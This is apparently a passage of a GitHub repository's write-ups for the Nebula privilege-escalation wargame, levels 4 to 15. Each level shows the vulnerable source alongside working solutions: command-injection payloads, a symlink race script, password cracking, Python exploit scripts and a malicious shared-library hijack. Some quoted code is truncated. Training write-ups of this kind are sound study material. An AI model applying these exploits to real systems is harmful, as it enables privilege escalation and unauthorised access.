17 |
18 | int main(int argc, char **argv, char **envp)
19 | {
20 | char buf[1024];
21 | int fd, rc;
22 |
23 | if(argc == 1) {
24 | printf("%s [file to read]\n", argv[0]);
25 | exit(EXIT_FAILURE);
26 | }
27 |
28 | if(strstr(argv[1], "token") != NULL) {
29 | printf("You may not access '%s'\n", argv[1]);
30 | exit(EXIT_FAILURE);
31 | }
32 |
33 | fd = open(argv[1], O_RDONLY);
34 | if(fd == -1) {
35 | err(EXIT_FAILURE, "Unable to open %s", argv[1]);
36 | }
37 |
38 | rc = read(fd, buf, sizeof(buf));
39 |
40 | if(rc == -1) {
41 | err(EXIT_FAILURE, "Unable to read fd %d", fd);
42 | }
43 |
44 | write(1, buf, rc);
45 | }
46 | ```
47 |
48 | #### Solutions
49 |
50 | ```
51 | ln -s /home/flag04/token /tmp/target
52 | /home/flag04/flag04 /tmp/target
53 | Output:
54 | 06508b5e-8909-4f38-b630-fdb148a848a2
55 |
56 | su flag04
57 | Password: <-- 06508b5e-8909-4f38-b630-fdb148a848a2
58 | /bin/getflag
59 | ```
60 |
--------------------------------------------------------------------------------
/CTFS/Nebula/level05.md:
--------------------------------------------------------------------------------
1 | # Level05
2 |
3 | #### About
4 |
5 | Check the flag05 home directory. You are looking for weak directory permissions
6 | To do this level, log in as the level05 account with the password level05. Files for this level can be found in /home/flag05.
7 |
8 |
9 | #### Source code
10 |
11 | There is no source code available for this level
12 |
13 |
14 | #### Solutions
15 | ```
16 | ls -all /home/flag05/
17 | ls -all /home/flag05/.backup/
18 | cp /home/flag05/.backup/backup-19072011.tgz /tmp/
19 | cd /tmp
20 | tar xvf /tmp/backup-19072011.tgz
21 | ssh -i /tmp/.ssh/id_rsa flag05@127.0.0.1
22 | /bin/getflag
23 | ```
24 |
25 | #### Recommends
26 | ssh-keygen
27 | ---- ssh-keygen -b 2048 -t rsa -C "this is my ssh key" -f ssh_key_file
28 | ---- /etc/ssh/moduli
29 | ---- /etc/ssh/ssh_config
30 | ---- /etc/ssh/sshd_config
31 | ---- /etc/ssh/ssh_host_ecdsa_key.pub
32 | ---- /etc/ssh/ssh_import_id
33 |
--------------------------------------------------------------------------------
/CTFS/Nebula/level06.md:
--------------------------------------------------------------------------------
1 | # Level06
2 |
3 | #### About
4 |
5 | The flag06 account credentials came from a legacy unix system.
6 | To do this level, log in as the level06 account with the password level06. Files for this level can be found in /home/flag06.
7 |
8 |
9 | #### Source code
10 |
11 | There is no source code available for this level
12 |
13 |
14 | #### Solutions
15 |
16 | ```
17 | sed -n '37 p' /etc/passwd > /tmp/crack_pwd
18 | flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
19 |
20 | john crack_pwd ----> password: hello
21 | john --show crack_pwd
22 |
23 | su flag06 <---- hello
24 | /bin/getflag
25 | ```
26 |
--------------------------------------------------------------------------------
/CTFS/Nebula/level07.md:
--------------------------------------------------------------------------------
1 | # Level07
2 |
3 | #### About
4 |
5 | The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
6 | To do this level, log in as the level07 account with the password level07. Files for this level can be found in /home/flag07.
7 |
8 |
9 | #### Source Code
10 |
11 | ```
12 | #!/usr/bin/perl
13 |
14 | use CGI qw{param};
15 |
16 | print "Content-type: text/html\n\n";
17 |
18 | sub ping {
19 | $host = $_[0];
20 |
21 | print("Ping results");
22 |
23 | @output = `ping -c 3 $host 2>&1`;
24 | foreach $line (@output) { print "$line"; }
25 |
26 | print("");
27 |
28 | }
29 |
30 | # check if Host set. if not, display normal page, etc
31 |
32 | ping(param("Host"));
33 | ```
34 |
35 | #### Solutions
36 |
37 | http://level07-sevrer:7007/index.cgi?Host=127.0.0.1|/bin/getflag
38 | ```
39 | cat /home/flag07/thttpd.conf ----> port=7007
40 | nc -v level07-server 7007
41 | GET /index.cgi?Host=127.0.0.1|/bin/getflag HTTP/1.0
42 | ```
43 |
44 |
--------------------------------------------------------------------------------
/CTFS/Nebula/level08.md:
--------------------------------------------------------------------------------
1 | # Level08
2 |
3 | #### About
4 |
5 | World readable files strike again. Check what that user was up to, and use it to log into flag08 account.
6 | To do this level, log in as the level08 account with the password level08. Files for this level can be found in /home/flag08.
7 |
8 |
9 | #### Source code
10 |
11 | There is no source code available for this level
12 |
13 | * analysis capture.pcap
14 | * hexdump -C dump.txt <---- http://www.asciitable.com/
15 |
16 | ```
17 | $ hexdump.exe -C dump.txt
18 | 00000000 ff fd 25 ff fc 25 ff fb 26 ff fd 18 ff fd 20 ff |..%..%..&..... .|
19 | 00000010 fd 23 ff fd 27 ff fd 24 ff fe 26 ff fb 18 ff fb |.#..'..$..&.....|
20 | 00000020 20 ff fb 23 ff fb 27 ff fc 24 ff fa 20 01 ff f0 | ..#..'..$.. ...|
21 | 00000030 ff fa 23 01 ff f0 ff fa 27 01 ff f0 ff fa 18 01 |..#.....'.......|
22 | 00000040 ff f0 ff fa 20 00 33 38 34 30 30 2c 33 38 34 30 |.... .38400,3840|
23 | 00000050 30 ff f0 ff fa 23 00 53 6f 64 61 43 61 6e 3a 30 |0....#.SodaCan:0|
24 | 00000060 ff f0 ff fa 27 00 00 44 49 53 50 4c 41 59 01 53 |....'..DISPLAY.S|
25 | 00000070 6f 64 61 43 61 6e 3a 30 ff f0 ff fa 18 00 78 74 |odaCan:0......xt|
26 | 00000080 65 72 6d ff f0 ff fb 03 ff fd 01 ff fd 22 ff fd |erm.........."..|
27 | 00000090 1f ff fb 05 ff fd 21 ff fd 03 ff fc 01 ff fb 22 |......!........"|
28 | 000000a0 ff fa 22 03 01 00 00 03 62 03 04 02 0f 05 00 00 |..".....b.......|
29 | 000000b0 07 62 1c 08 02 04 09 42 1a 0a 02 7f 0b 02 15 0f |.b.....B........|
30 | 000000c0 02 11 10 02 13 11 02 ff ff 12 02 ff ff ff f0 ff |................|
31 | 000000d0 fb 1f ff fa 1f 00 b1 00 31 ff f0 ff fd 05 ff fb |........1.......|
32 | 000000e0 21 ff fa 22 01 03 ff f0 ff fa 22 01 07 ff f0 ff |!.."......".....|
33 | 000000f0 fa 21 03 ff f0 ff fb 01 ff fd 00 ff fe 22 ff fd |.!..........."..|
34 | 00000100 01 ff fb 00 ff fc 22 ff fa 22 03 03 e2 03 04 82 |......".."......|
35 | 00000110 0f 07 e2 1c 08 82 04 09 c2 1a 0a 82 7f 0b 82 15 |................|
36 | 00000120 0f 82 11 10 82 13 11 82 ff ff 12 82 ff ff ff f0 |................|
37 | 00000130 0d 0a 4c 69 6e 75 78 20 32 2e 36 2e 33 38 2d 38 |..Linux 2.6.38-8|
38 | 00000140 2d 67 65 6e 65 72 69 63 2d 70 61 65 20 28 3a 3a |-generic-pae (::|
39 | 00000150 66 66 66 66 3a 31 30 2e 31 2e 31 2e 32 29 20 28 |ffff:10.1.1.2) (|
40 | 00000160 70 74 73 2f 31 30 29 0d 0a 0a 01 00 77 77 77 62 |pts/10).....wwwb|
41 | 00000170 75 67 73 20 6c 6f 67 69 6e 3a 20 6c 00 6c 65 00 |ugs login: l.le.|
42 | 00000180 65 76 00 76 65 00 65 6c 00 6c 38 00 38 0d 01 00 |ev.ve.el.l8.8...|
43 | 00000190 0d 0a 50 61 73 73 77 6f 72 64 3a 20 62 61 63 6b |..Password: back|
44 | 000001a0 64 6f 6f 72 7f 7f 7f 30 30 52 6d 38 7f 61 74 65 |door...00Rm8.ate|
45 | 000001b0 0d 00 0d 0a 01 00 0d 0a 4c 6f 67 69 6e 20 69 6e |........Login in|
46 | 000001c0 63 6f 72 72 65 63 74 0d 0a 77 77 77 62 75 67 73 |correct..wwwbugs|
47 | 000001d0 20 6c 6f 67 69 6e 3a 20 | login: |
48 | 000001d8
49 | ```
50 |
51 | * Password: backdOORmate
52 |
--------------------------------------------------------------------------------
/CTFS/Nebula/level09.md:
--------------------------------------------------------------------------------
1 | # Level09
2 |
3 | #### About
4 |
5 | There’s a C setuid wrapper for some vulnerable PHP code…
6 | To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09.
7 |
8 |
9 | #### Source Code
10 |
11 | ```
12 | ", $contents);
29 |
30 | return $contents;
31 | }
32 |
33 | $output = markup($argv[1], $argv[2]);
34 |
35 | print $output;
36 |
37 | ?>
38 | ```
39 |
40 | #### Solutions
41 |
42 | 1. ----> test.txt
43 | [email ${${system(getflag)}}]
44 |
45 | 2. /home/flag09/flag09 test.txt
46 |
47 |
48 | #### Recommends
49 |
50 | Bash/Zsh/fish shell
51 |
--------------------------------------------------------------------------------
/CTFS/Nebula/level10.md:
--------------------------------------------------------------------------------
1 | # Level10
2 |
3 | #### About
4 |
5 | The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
6 | To do this level, log in as the level10 account with the password level10. Files for this level can be found in /home/flag10.
7 |
8 |
9 | #### Source code
10 |
11 | ```
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 |
22 | int main(int argc, char **argv)
23 | {
24 | char *file;
25 | char *host;
26 |
27 | if(argc < 3) {
28 | printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
29 | exit(1);
30 | }
31 |
32 | file = argv[1];
33 | host = argv[2];
34 |
35 | if(access(argv[1], R_OK) == 0) {
36 | int fd;
37 | int ffd;
38 | int rc;
39 | struct sockaddr_in sin;
40 | char buffer[4096];
41 |
42 | printf("Connecting to %s:18211 .. ", host); fflush(stdout);
43 |
44 | fd = socket(AF_INET, SOCK_STREAM, 0);
45 |
46 | memset(&sin, 0, sizeof(struct sockaddr_in));
47 | sin.sin_family = AF_INET;
48 | sin.sin_addr.s_addr = inet_addr(host);
49 | sin.sin_port = htons(18211);
50 |
51 | if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
52 | printf("Unable to connect to host %s\n", host);
53 | exit(EXIT_FAILURE);
54 | }
55 |
56 | #define HITHERE ".oO Oo.\n"
57 | if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
58 | printf("Unable to write banner to host %s\n", host);
59 | exit(EXIT_FAILURE);
60 | }
61 | #undef HITHERE
62 |
63 | printf("Connected!\nSending file .. "); fflush(stdout);
64 |
65 | ffd = open(file, O_RDONLY);
66 | if(ffd == -1) {
67 | printf("Damn. Unable to open file\n");
68 | exit(EXIT_FAILURE);
69 | }
70 |
71 | rc = read(ffd, buffer, sizeof(buffer));
72 | if(rc == -1) {
73 | printf("Unable to read from file: %s\n", strerror(errno));
74 | exit(EXIT_FAILURE);
75 | }
76 |
77 | write(fd, buffer, rc);
78 |
79 | printf("wrote file!\n");
80 |
81 | } else {
82 | printf("You don't have access to %s\n", file);
83 | }
84 | }
85 | ```
86 |
87 |
88 | #### solutions
89 |
90 | ```
91 | echo aaaaaaaa>/tmp/token
92 | nc -kl 18211
93 | ```
94 |
95 | * ---- /tmp/create_link.sh ----
96 | ```
97 | #!/bin/bash
98 | while true
99 | do
100 | ln -fs /tmp/token /tmp/lv10_token
101 | ln -fs /home/flag10/token /tmp/lv10_token
102 | done
103 | ```
104 |
105 | * ----/tmp/connect.sh ----
106 | ```
107 | #!/bin/bash
108 | while true
109 | do
110 | /home/flag10/flag10 /tmp/lv10_token
111 | done
112 |
113 | su flag10
114 | /bin/getflag
115 | ```
116 |
117 |
118 | #### Recommend
119 |
120 | http://cybergibbons.com/security-2/nebula-walkthrough/nebula-exploit-exercises-walkthrough-level10/
121 |
--------------------------------------------------------------------------------
/CTFS/Nebula/level11.md:
--------------------------------------------------------------------------------
1 | # level11
2 |
3 | #### About
4 |
5 | The /home/flag11/flag11 binary processes standard input and executes a shell command.
6 | There are two ways of completing this level, you may wish to do both :-)
7 | To do this level, log in as the level11 account with the password level11. Files for this level can be found in /home/flag11.
8 |
9 |
10 | #### Sources
11 |
12 | ```
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 |
21 | /*
22 | * Return a random, non predictable file, and return the file descriptor for it.
23 | */
24 |
25 | int getrand(char **path)
26 | {
27 | char *tmp;
28 | int pid;
29 | int fd;
30 |
31 | srandom(time(NULL));
32 |
33 | tmp = getenv("TEMP");
34 | pid = getpid();
35 |
36 | asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
37 | 'A' + (random() % 26), '0' + (random() % 10),
38 | 'a' + (random() % 26), 'A' + (random() % 26),
39 | '0' + (random() % 10), 'a' + (random() % 26));
40 |
41 | fd = open(*path, O_CREAT|O_RDWR, 0600);
42 | unlink(*path);
43 | return fd;
44 | }
45 |
46 | void process(char *buffer, int length)
47 | {
48 | unsigned int key;
49 | int i;
50 |
51 | key = length & 0xff;
52 |
53 | for(i = 0; i < length; i++) {
54 | buffer[i] ^= key;
55 | key -= buffer[i];
56 | }
57 |
58 | system(buffer);
59 | }
60 |
61 | #define CL "Content-Length: "
62 |
63 | int main(int argc, char **argv)
64 | {
65 | char line[256];
66 | char buf[1024];
67 | char *mem;
68 | int length;
69 | int fd;
70 | char *path;
71 |
72 | if(fgets(line, sizeof(line), stdin) == NULL) {
73 | errx(1, "reading from stdin");
74 | }
75 |
76 | if(strncmp(line, CL, strlen(CL)) != 0) {
77 | errx(1, "invalid header");
78 | }
79 |
80 | printf("%s",line + strlen(CL));
81 |
82 | length = atoi(line + strlen(CL));
83 |
84 | if(length < sizeof(buf)) {
85 | if(fread(buf, length, 1, stdin) != length) {
86 | err(1, "fread length");
87 | }
88 | process(buf, length);
89 | } else {
90 | int blue = length;
91 | int pink;
92 |
93 | fd = getrand(&path);
94 |
95 | while(blue > 0) {
96 | printf("blue = %d, length = %d, ", blue, length);
97 |
98 | pink = fread(buf, 1, sizeof(buf), stdin);
99 | printf("pink = %d\n", pink);
100 |
101 | if(pink <= 0) {
102 | err(1, "fread fail(blue = %d, length = %d)", blue, length);
103 | }
104 | write(fd, buf, pink);
105 |
106 | blue -= pink;
107 | }
108 |
109 | mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
110 | if(mem == MAP_FAILED) {
111 | err(1, "mmap");
112 | }
113 | process(mem, length);
114 | }
115 |
116 | }
117 | ```
118 |
119 |
120 | #### Solutions
121 |
122 | Python函数Process实现了C源码中的Process函数的功能，
123 | de_Process函数，用于解密Process函数。
124 |
125 | ```
126 | def process(buffer_, length):
127 | '''level11 -- function process'''
128 | key = length & 0xff
129 | ret = []
130 |
131 | for s in buffer_:
132 | _char = ord(s)
133 | _char ^= key
134 |
135 | d = _char & 0xff
136 | d = chr(d)
137 |
138 | key -= _char
139 |
140 | ret.append(d)
141 |
142 | # print "%s --> %s key: %s" % (s, d, key)
143 |
144 | return "".join(ret)
145 |
146 |
147 | def de_process(buffer_, length):
148 | '''level11 -- decode function process'''
149 | key = length & 0xff
150 | ret = []
151 |
152 | for s in buffer_:
153 | _char = ord(s)
154 | _char ^= key
155 |
156 | d = _char & 0xff
157 | d = chr(d)
158 |
159 | key -= (_char ^ key)
160 |
161 | ret.append(d)
162 |
163 | # print "%s --> %s key: %s" % (s, d, key)
164 |
165 | return "".join(ret)
166 | ```
167 |
168 | 传入单个字符b，会被转码为c*(*代表其他字符)，
169 | 由于缓冲区未被初始化为00，导致转换输出的内容后面包含其他字符.测试如下:
170 |
171 |
172 | ##### 方案一. length < 1024
173 |
174 | ```
175 | 详见代码: exploit_1
176 |
177 | level11@nebula:/tmp$ export PATH=/tmp:$PATH
178 | level11@nebula:/tmp$ ln -s /bin/getflag /tmp/c
179 | level11@nebula:/tmp$ echo -ne 'Content-Length: 1\nb\00' | /home/flag11/flag11
180 | 0x63
181 | c�
182 | sh: $'c\260\344': command not found
183 | level11@nebula:/tmp$ echo -ne 'Content-Length: 1\nb\00' | /home/flag11/flag11
184 | 0x63
185 | c0
186 | sh: $'c0\304': command not found
187 | level11@nebula:/tmp$ echo -ne 'Content-Length: 1\nb\00' | /home/flag11/flag11
188 | 0x63
189 | c .
190 | getflag is executing on a non-flag account, this doesn't count
191 |
192 | 为了避免上面的问题，使用LD_PRELOAD对内存进行初始化.
193 |
194 | level11@nebula/tmp$: export LD_PRELOAD=`python -c 'print "\x00"*3'` --------> ####
195 |
196 | 系统成功执行命令，但用户身份不对。网上说法: system() 函数调用时，未做相关的权限操作。
197 | level11@nebula:/tmp$ echo -ne 'Content-Length: 1\nb' | /home/flag11/flag11
198 | uid=1012(level11) gid=1012(level11) groups=1012(level11)
199 | ```
200 |
201 | ##### 方案二. length >= 1024
202 | ```
203 | 详见代码: exploit_2
204 |
205 |
206 | Recommends
207 | http://uberskill.blogspot.com/2012/09/nebula-level11.html
208 | http://github.com/1u4nx/Exploit-Exercises-Nebula/
209 | http://v0ids3curity.blogspot.com/2012/12/exploit-exercise-level-11.html
210 | http://hanjc.me/blog/2014/01/26/nebula-level11/
211 | http://cybergibbons.com/security-2/nebula-walkthrough/nebula-exploit-exercises-walkthrough-level11/
212 |
213 | http://stackoverflow.com/questions/16258830/does-system-syscall-drop-privileges
214 |
215 |
216 | Exploits
217 |
218 | 攻击代码如下:
219 | #!/usr/bin/env python
220 | # -*- encoding: utf-8 -*-
221 |
222 | import os
223 |
224 | '''
225 | void process(char *buffer, int length)
226 | {
227 | unsigned int key;
228 | int i;
229 | key = length & 0xff;
230 |
231 | for(i = 0; i < length; i++) {
232 | buffer[i] ^= key;
233 | key -= buffer[i];
234 | }
235 | system(buffer);
236 | }
237 |
238 | '''
239 |
240 |
241 | def process(buffer_, length):
242 | '''level11 -- function process'''
243 | key = length & 0xff
244 | ret = []
245 |
246 | for s in buffer_:
247 | _char = ord(s)
248 | _char ^= key
249 |
250 | d = _char & 0xff
251 | d = chr(d)
252 |
253 | key -= _char
254 |
255 | ret.append(d)
256 |
257 | # print "%s --> %s key: %s" % (s, d, key)
258 |
259 | return "".join(ret)
260 |
261 |
262 | def de_process(buffer_, length):
263 | '''level11 -- decode function process'''
264 | key = length & 0xff
265 | ret = []
266 |
267 | for s in buffer_:
268 | _char = ord(s)
269 | _char ^= key
270 |
271 | d = _char & 0xff
272 | d = chr(d)
273 |
274 | key -= (_char ^ key)
275 |
276 | ret.append(d)
277 |
278 | # print "%s --> %s key: %s" % (s, d, key)
279 |
280 | return "".join(ret)
281 |
282 |
283 | def exploit_1(cmd):
284 | '''input < 1024'''
285 | # cmd = "/usr/bin/id"
286 | _input = 's'
287 |
288 | length = len(_input)
289 | ret = process(_input, length)
290 |
291 | cmds = ['cd /tmp;',
292 | 'rm -f /tmp/%s;' % _input,
293 | 'ln -s %s /tmp/%s;' % (cmd, _input),
294 | 'export PATH=/tmp:$PATH;',
295 | 'export LD_PRELOAD=%s;' % ("\xFF" * (length + 1))]
296 |
297 | [os.system(c) for c in cmds]
298 |
299 | payload = "Content-Length: %d\n%s\00" % (length, ret)
300 |
301 | print payload
302 | return payload
303 |
304 |
305 | def exploit_2(cmd):
306 | '''input >= 1024'''
307 | _i = 's' + '\00' * 1023
308 | length = len(_i)
309 | ret = process(_i, length)
310 |
311 | cmds = ['export TEMP=/tmp;',
312 | 'export LD_PRELOAD=%s' % (length)]
313 |
314 | [os.system(c) for c in cmds]
315 |
316 | payload = "Content-Length: %d\n%s\00" % (length, ret)
317 | print payload
318 |
319 |
320 | if __name__ == "__main__":
321 | exploit_1("/usr/bin/id")
322 | # exploit_2("/usr/bin/id")
323 | ```
324 |
--------------------------------------------------------------------------------
/CTFS/Nebula/level12.md:
--------------------------------------------------------------------------------
1 | # Level12
2 |
3 | #### About
4 |
5 | There is a backdoor process listening on port 50001.
6 | To do this level, log in as the level12 account with the password level12. Files for this level can be found in /home/flag12.
7 |
8 |
9 | #### Source Code
10 |
11 | ```
12 | local socket = require("socket")
13 | local server = assert(socket.bind("127.0.0.1", 50001))
14 |
15 | function hash(password)
16 | prog = io.popen("echo "..password.." | sha1sum", "r")
17 | data = prog:read("*all")
18 | prog:close()
19 |
20 | data = string.sub(data, 1, 40)
21 |
22 | return data
23 | end
24 |
25 |
26 | while 1 do
27 | local client = server:accept()
28 | client:send("Password: ")
29 | client:settimeout(60)
30 | local line, err = client:receive()
31 | if not err then
32 | print("trying " .. line) -- log from where ;\
33 | local h = hash(line)
34 |
35 | if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
36 | client:send("Better luck next time\n");
37 | else
38 | client:send("Congrats, your token is 413**CARRIER LOST**\n")
39 | end
40 |
41 | end
42 |
43 | client:close()
44 | end
45 | ```
46 |
47 |
48 | #### Solutions
49 |
50 | ```
51 | nc -v 127.0.0.1 50001
52 | test | /bin/getflag | tee /tmp/level12.txt
53 | cat /tmp/level12.txt
54 | ```
55 |
56 | #### Exploits
57 |
58 | ```
59 | #!/usr/bin/env python
60 |
61 | import socket
62 |
63 | def exploit(host, port):
64 | tmpfile = "/tmp/7845.yxha"
65 | payload = "xxx | /bin/getflag > %s \n" % tmpfile
66 | c = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
67 |
68 | addr = (host, port)
69 | c.connect(addr)
70 |
71 | data = c.recv(1024)
72 |
73 | if 'Password' in data:
74 | print "[+] exploit %s\n%s" % (addr, payload)
75 | c.sendall(payload)
76 | # data = c.recv(1024)
77 |
78 | # print data
79 |
80 | c.close()
81 |
82 |
83 | def main():
84 | exploit('127.0.0.1', 50001)
85 |
86 | if __name__ == "__main__":
87 | main()
88 | ```
89 |
--------------------------------------------------------------------------------
/CTFS/Nebula/level13.md:
--------------------------------------------------------------------------------
1 | # Level13
2 |
3 | #### About
4 |
5 | There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.
6 | To do this level, log in as the level13 account with the password level13. Files for this level can be found in /home/flag13.
7 |
8 |
9 | #### Source code
10 |
11 | ```
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 |
18 | #define FAKEUID 1000
19 |
20 | int main(int argc, char **argv, char **envp)
21 | {
22 | int c;
23 | char token[256];
24 |
25 | if(getuid() != FAKEUID) {
26 | printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
27 | printf("The system administrators will be notified of this violation\n");
28 | exit(EXIT_FAILURE);
29 | }
30 |
31 | // snip, sorry :)
32 |
33 | printf("your token is %s\n", token);
34 |
35 | }
36 | ```
37 |
38 | #### Solutions
39 |
40 | * gdb flag13
41 | ```
42 | (gdb) disassemble main
43 | break *0x080484f4
44 | run
45 | print $eax
46 | set $eax=1000
47 | print $eax
48 | continue
49 | ```
50 |
51 | * su flag13 < b705702b-76a8-42b0-8844-3adabbe5ac58
52 |
53 |
54 | #### Recommends
55 |
56 | http://www.yolinux.com/TUTORIALS/GDB-Commands.html
57 | objdump
58 |
--------------------------------------------------------------------------------
/CTFS/Nebula/level14.md:
--------------------------------------------------------------------------------
1 | # Level14
2 |
3 | #### About
4 |
5 | This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)
6 | To do this level, log in as the level14 account with the password level14. Files for this level can be found in /home/flag14.
7 |
8 |
9 | #### Source code
10 |
11 | There is no source code available for this level
12 |
13 | #### Solutions
14 | ```
15 | 11111111111111111111111111111111111111111111111
16 | 123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^`
17 |
18 |
19 | Output: 8457c118-887c-4e40-a5a6-33a25353165
20 | su flag14 < 8457c118-887c-4e40-a5a6-33a25353165
21 | /bin/getflag
22 | ```
23 |
24 | #### Exploits
25 |
26 | ```
27 | #!/usr/bin/env python
28 | # -*- encoding: utf-8 -*-
29 |
30 | def main():
31 | with open('/home/flag14/token', 'r') as f:
32 | keys = []
33 | data = f.read().strip()
34 | for i, j in enumerate(data):
35 | key = chr(ord(j) - i)
36 | keys.append(key)
37 |
38 | pwd = "".join(keys)
39 | return pwd
40 |
41 |
42 | if __name__ == "__main__":
43 | main()
44 | ```
45 |
46 | #### Recommends
47 |
48 | How to run command as a different user ?
49 |
50 | http://www.cyberciti.biz/open-source/command-line-hacks/linux-run-command-as-different-user/
51 | http://stackoverflow.com/questions/233217/pass-password-to-su-sudo-ssh
52 | http://www.experts-exchange.com/Programming/Languages/Scripting/Python/Q_23048208.html
53 |
--------------------------------------------------------------------------------
/CTFS/Nebula/level15.md:
--------------------------------------------------------------------------------
1 | # Level15
2 |
3 | #### About
4 |
5 | strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary.
6 | You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.
7 | Clean up after yourself :)
8 |
9 | To do this level, log in as the level15 account with the password level15. Files for this level can be found in /home/flag15.
10 |
11 |
12 | #### Source code
13 |
14 | There is no source code available for this level
15 |
16 |
17 | #### Soltions
18 |
19 | ```
20 | level15@nebula:~$ objdump -p /home/flag15/flag15
21 |
22 | /home/flag15/flag15: file format elf32-i386
23 |
24 | Program Header:
25 | PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
26 | filesz 0x00000120 memsz 0x00000120 flags r-x
27 | INTERP off 0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
28 | filesz 0x00000013 memsz 0x00000013 flags r--
29 | LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
30 | filesz 0x000005d4 memsz 0x000005d4 flags r-x
31 | LOAD off 0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**12
32 | filesz 0x00000108 memsz 0x00000110 flags rw-
33 | DYNAMIC off 0x00000f20 vaddr 0x08049f20 paddr 0x08049f20 align 2**2
34 | filesz 0x000000d0 memsz 0x000000d0 flags rw-
35 | NOTE off 0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
36 | filesz 0x00000044 memsz 0x00000044 flags r--
37 | EH_FRAME off 0x000004dc vaddr 0x080484dc paddr 0x080484dc align 2**2
38 | filesz 0x00000034 memsz 0x00000034 flags r--
39 | STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
40 | filesz 0x00000000 memsz 0x00000000 flags rw-
41 | RELRO off 0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**0
42 | filesz 0x000000f4 memsz 0x000000f4 flags r--
43 |
44 | Dynamic Section:
45 | NEEDED libc.so.6
46 | RPATH /var/tmp/flag15
47 | INIT 0x080482c0
48 | FINI 0x080484ac
49 | GNU_HASH 0x080481ac
50 | STRTAB 0x0804821c
51 | SYMTAB 0x080481cc
52 | STRSZ 0x0000005a
53 | SYMENT 0x00000010
54 | DEBUG 0x00000000
55 | PLTGOT 0x08049ff4
56 | PLTRELSZ 0x00000018
57 | PLTREL 0x00000011
58 | JMPREL 0x080482a8
59 | REL 0x080482a0
60 | RELSZ 0x00000008
61 | RELENT 0x00000008
62 | VERNEED 0x08048280
63 | VERNEEDNUM 0x00000001
64 | VERSYM 0x08048276
65 |
66 | Version References:
67 | required from libc.so.6:
68 | 0x0d696910 0x00 02 GLIBC_2.0
69 |
70 | level15@nebula:/var/tmp/flag15$ cat exploit.c
71 | #include
72 | int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
73 | execl("/bin/getflag", (char *)NULL, (char *)NULL);
74 | }
75 | level15@nebula:/var/tmp/flag15$ gcc -fPIC -g -c exploit.c
76 | level15@nebula:/var/tmp/flag15$ ls -l
77 | total 8
78 | -rw-rw-r-- 1 level15 level15 255 2014-11-22 08:11 exploit.c
79 | -rw-rw-r-- 1 level15 level15 2956 2014-11-22 08:11 exploit.o
80 | level15@nebula:/var/tmp/flag15$ gcc exploit.o -shared -o libc.so.6
81 | level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
82 | /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
83 | /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
84 | /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
85 | /home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference
86 | level15@nebula:/var/tmp/flag15$ gcc -fPIC -g -c exploit.c
87 | level15@nebula:/var/tmp/flag15$ gcc -shared -Wl,--version-script,verscript -o libc.so.6 exploit.o
88 | level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
89 | /home/flag15/flag15: /var/tmp/flag15/libc.so.6: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6)
90 | level15@nebula:/var/tmp/flag15$ gcc -shared -Wl,--version-script,verscript,-Bstatic -static-libgcc -o libc.so.6 exploit.o
91 | level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
92 | You have successfully executed getflag on a target account
93 |
94 | level15@nebula:/var/tmp/flag15$ cat exploit.c
95 | #include
96 | int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
97 | // execl("/bin/getflag", (char *)NULL, (char *)NULL);
98 | system("/bin/getflag");
99 | }
100 |
101 | level15@nebula:/var/tmp/flag15$ gcc -fPIC -g -c exploit.c
102 | level15@nebula:/var/tmp/flag15$ gcc -shared -Wl,--version-script,verscript,-Bstatic -static-libgcc -o libc.so.6 exploit.o
103 | level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
104 | You have successfully executed getflag on a target account
105 | Segmentation fault ++++++++ Attention Here !!!
106 | ```
107 |
108 | #### Recommend
109 |
110 | http://www.kroosec.com/2012/11/nebula-level15.html
111 | http://www.yolinux.com/TUTORIALS/LibraryArchives-StaticAndDynamic.html
112 |
--------------------------------------------------------------------------------
/CTFS/Nebula/level16.md:
--------------------------------------------------------------------------------
